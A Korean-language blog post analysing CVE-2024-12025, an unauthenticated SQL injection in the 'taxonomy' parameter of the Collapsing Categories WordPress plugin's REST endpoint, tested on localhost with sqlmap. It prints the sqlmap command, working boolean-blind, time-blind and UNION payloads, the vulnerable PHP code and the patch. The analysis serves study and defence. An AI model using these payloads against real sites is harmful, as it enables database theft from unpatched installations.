Post

[CVE-2024-12025] 취약점 분석 보고서

Collapsing Categories에서 발생하는 SQL Injection 취약점

1. 취약점 개요

Collapsing Categories는 WordPress용 플러그인으로, 카테고리와 하위 카테고리로 구성된 확장 가능한 리스트를 생성한다. 게시글을 표시하도록 확장할 수 있으며, 위젯으로 사용하는 것이 주된 용도이지만 테마에서 코드를 수동으로 사용할 수도 있다. CVE-2024-12025 취약점은 사용자가 제공한 매개변수에서 이스케이프가 충분하지 않고 기존 SQL 쿼리에 대한 준비가 충분하지 않아 3.0.8 이전 모든 버전에서 /wp-json/collapsing-categories/v1/get REST API의 ‘taxonomy’ 매개변수를 통한 SQL 주입에 취약하다. 이를 통해 인증되지 않은 공격자가 기존 쿼리에 추가 SQL 쿼리를 추가하여 데이터베이스에서 민감한 정보를 추출할 수 있다.

2. 영향을 받는 버전

  • Collapsing Categories ≤ 3.0.8

3. 취약점 테스트

https://developer.wordpress.org/rest-api/key-concepts/

WordPress REST API를 작동시키기 위해 고유주소를 기본값이 아닌 다른 형식으로 설정한다.

image.png

Poc를 효과적으로 수행하기 위해 sqlmap을 사용하였으며 GitHub 버전으로 clone 하였다.

https://github.com/sqlmapproject/sqlmap

sqlmap.py 파일을 Python으로 실행하고 url과, 테스트 강도, 위험도, 데이터베이스 유형을 설정한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# SQLMap 명령어
# - 대상 URL: http://localhost:8000
# - 테스트 레벨: 3
# - 위험도: 3
# - DBMS: MySQL

python sqlmap.py -u "http://localhost:8000/wp-json/collapsing-categories/v1/get?taxonomy=category" --level=3 --risk=3 --dbms="MySQL"

        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.9.1.2#dev}
|_ -| . [.]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:20:56 /2025-01-19/

sqlmap을 사용해 실행한 SQL 주입 테스트에서 취약점이 성공적으로 탐지되었음을 보여준다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[14:21:41] [INFO] GET parameter 'taxonomy' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
[14:21:41] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
GET parameter 'taxonomy' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 87 HTTP(s) requests:
---
Parameter: taxonomy (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: taxonomy=-8184') OR 8534=8534 AND ('vMOi'='vMOi

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: taxonomy=category') AND (SELECT 7162 FROM (SELECT(SLEEP(5)))HjbH) AND ('BQsP'='BQsP

    Type: UNION query
    Title: Generic UNION query (NULL) - 12 columns
    Payload: taxonomy=category') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b6b7671,0x55496166614547434753557456504468504d536b5870506e51504b4b634c6a674944716c626d4366,0x7178787171)-- -
---
[14:22:10] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 8.2.26, Apache 2.4.62
back-end DBMS: MySQL >= 5.0.12
[14:22:11] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 8 times
[14:22:11] [INFO] fetched data logged to text files under 'C:\Users\alstn\AppData\Local\sqlmap\output\localhost'

[*] ending @ 14:22:11 /2025-01-19/

주요 정보 분석

  1. 취약한 파라미터
    • taxonomy라는 GET 파라미터가 SQL Injection에 취약하다는 것을 의미한다.
  2. 취약점 유형 및 페이로드

    2-1. Boolean-based Blind

    • 참/거짓 조건을 활용하여 데이터베이스 응답을 분석

      1
      
        taxonomy=-8184') OR 8534=8534 AND ('vMOi'='vMOi
      

    2-2 Time-based Blind

    • 응답 시간을 조작하여 데이터베이스와의 상호작용 여부를 확인

      1
      
        taxonomy=category') AND (SELECT 7162 FROM (SELECT(SLEEP(5)))HjbH) AND ('BQsP'='BQsP
      

    2-3 UNION Query

    • UNION 키워드를 활용하여 데이터를 직접 가져오는 방식

      1
      
        taxonomy=category') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b6b7671,0x55496166614547434753557456504468504d536b5870506e51504b4b634c6a674944716c626d4366,0x7178787171)-- -
      
  3. 추가 정보
    • DBMS
      • 백엔드 데이터베이스는 MySQL이고, 버전은 5.0.12 이상
    • 웹 서버 운영 체제
      • 서버는 Linux Debian에서 실행
    • 웹 애플리케이션 기술
      • PHP 8.2.26Apache 2.4.62 사용
    • HTTP 상태 코드
      • 테스트 중 500 (Internal Server Error)가 8번 발생하였다.
      • 서버가 일부 페이로드를 처리하는 동안 발생한 것으로 보인다.
  4. 결과 저장 위치
    • 탐지된 결과는 로컬 파일로 저장되었다.

      1
      
        C:\Users\alstn\AppData\Local\sqlmap\output\localhost
      
    • 저장된 파일에는 탐지된 페이로드와 로그가 포함되어 있다.

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      
        sqlmap identified the following injection point(s) with a total of 87 HTTP(s) requests:
        ---
        Parameter: taxonomy (GET)
            Type: boolean-based blind
            Title: OR boolean-based blind - WHERE or HAVING clause
            Payload: taxonomy=-8184') OR 8534=8534 AND ('vMOi'='vMOi
              
            Type: time-based blind
            Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
            Payload: taxonomy=category') AND (SELECT 7162 FROM (SELECT(SLEEP(5)))HjbH) AND ('BQsP'='BQsP
              
            Type: UNION query
            Title: Generic UNION query (NULL) - 12 columns
            Payload: taxonomy=category') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b6b7671,0x55496166614547434753557456504468504d536b5870506e51504b4b634c6a674944716c626d4366,0x7178787171)-- -
        ---
        web server operating system: Linux Debian
        web application technology: PHP 8.2.26, Apache 2.4.62
        back-end DBMS: MySQL >= 5.0.12
      

4. 취약점 상세 분석

sqlmap에서 요청한 주소인 /wp-json/collapsing-categories/v1/get 엔드포인트는 PHP 코드로 정의된 REST API이다. 이 API는 register_rest_route 를 사용해 등록되어 /wp-json 경로를 통해 작동하게 된다.

클라이언트가 해당 엔드포인트로 요청을 보내게 되면 permission_callback으로 권한을 검증하지만 __return_true 를 사용하고 있어 모든 요청을 허용한다. 즉, 권한 검증이 사실상 비활성화되어 있다. 따라서, 권한이 없는 사용자도 이 엔드포인트에 접근할 수 있으며 요청을 통해 callback 함수인 collapsing_categories_rest 함수를 호출시킬 수 있다.

1
2
3
4
5
6
7
8
9
// collapscat.php

add_action( 'rest_api_init', function () {
	register_rest_route( 'collapsing-categories/v1', '/get/', array(
		'methods' => 'GET',
		'permission_callback' => '__return_true',
		'callback' => 'collapsing_categories_rest',
	) );
} );

taxonomy 값은 $request->get_params() 메서드를 통해 가져온 $parameters 배열에 포함되어 있으며, 이 배열은 collapsCat() 함수로 전달된다.

1
2
3
4
5
6
// collapscat.php

function collapsing_categories_rest( WP_REST_Request $request ) {
	$parameters = $request->get_params();
	return collapsCat( $parameters, $_COOKIE, false );
}

$parameters 배열은 collapsCat 함수의 $args 에 전달되고 get_collapscat_fromdb 함수의 매개변수로 사용된다.

1
2
3
4
5
6
7
8
9
// collapscat.php

function collapsCat($args='', $print=true, $callback=false) {
	...
	if (!is_admin()) {
		list($posts, $categories, $parents, $options) = get_collapscat_fromdb($args);
	...
	}
}

$argsdefault.php 파일에서 정의된 기본값과 병합되어 최종 $options 를 생성하고 이 $options 배열은 extract 함수를 통해 변수로 변환되어 $taxonomy라는 개별 변수로 생성된다.

최종적으로, $taxonomy 값을 기준으로 $taxonomyQuery 가 생성되고 SQL 쿼리의 조건으로 사용된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// collapscatlist.php

function get_collapscat_fromdb($args='') {
	...
	include('defaults.php');
	$options = wp_parse_args($args, $defaults);
	extract($options);
	...
	if (isset($catTag) && !isset($taxonomy))
    $taxonomy = $catTag;
	if ($taxonomy == 'tag') {
	  $taxonomyQuery= "'post_tag'";
	} elseif ($taxonomy == 'both') {
	  $taxonomyQuery= "'category','post_tag'";
	} elseif ($taxonomy == 'cat') {
	  $taxonomyQuery= "'category'";
	} else {
	  $taxonomyQuery= "'$taxonomy'";
  }
  ...
	$postquery = "SELECT ... WHERE tt.taxonomy IN ($taxonomyQuery) $postSortColumn $postSortOrder";
	$posts= $wpdb->get_results($postquery);
}

5. 패치

https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3201979%40collapsing-categories&old=3004278%40collapsing-categories&sfp_email=&sfph_mail=

보안 패치로 인해 add_action으로 정의되고 있었던 REST API 엔드포인트가 삭제되었으므로 /wp-json/collapsing-categories/v1/get/ 엔드포인트는 더 이상 존재하지 않는다.

image.png

This post is licensed under CC BY 4.0 by the author.